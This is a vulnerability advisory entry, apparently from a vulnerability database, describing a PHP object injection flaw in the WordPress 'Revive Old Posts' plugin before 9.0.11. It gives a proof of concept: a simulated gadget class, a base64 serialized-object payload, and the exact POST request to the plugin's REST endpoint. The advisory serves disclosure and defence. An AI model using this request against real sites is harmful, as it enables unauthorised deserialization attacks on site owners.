Lucene search

K
wpexploitNguyen Huu DoWPEX-ID:F4197386-975D-4E53-8FC9-9425732DA9AF
HistoryJan 04, 2023 - 12:00 a.m.

Revive Old Posts – Social Media Auto Post and Scheduling Plugin < 9.0.11 - PHP Object Injection

2023-01-0400:00:00
Nguyen Huu Do
68
revive old posts
social media
auto post
scheduling
php
object injection
plugin
gadget chain
base64
arbitrary deserialization
intercept
post request

0.001 Low

EPSS

Percentile

36.7%

The plugin unserializes user input provided via the settings, which could allow high privilege users such as admin to perform PHP Object Injection when a suitable gadget is present.

To simulate a gadget chain, put the following code in a plugin:

class Evil {
  public function __wakeup() : void {
    die("Arbitrary deserialization");
  }
}

Use the add account function, intercept it and add or replace the id or pages parameter to Tzo0OiJFdmlsIjowOnt9Ow== (which is the base64 of O:4:"Evil":0:{};):

POST /wp-json/tweet-old-post/v8/api/?req=add_account_fb HTTP/1.1

{"id":"Tzo0OiJFdmlsIjowOnt9Ow==","pages":["Tzo0OiJFdmlsIjowOnt9Ow=="]}

0.001 Low

EPSS

Percentile

36.7%

Related for WPEX-ID:F4197386-975D-4E53-8FC9-9425732DA9AF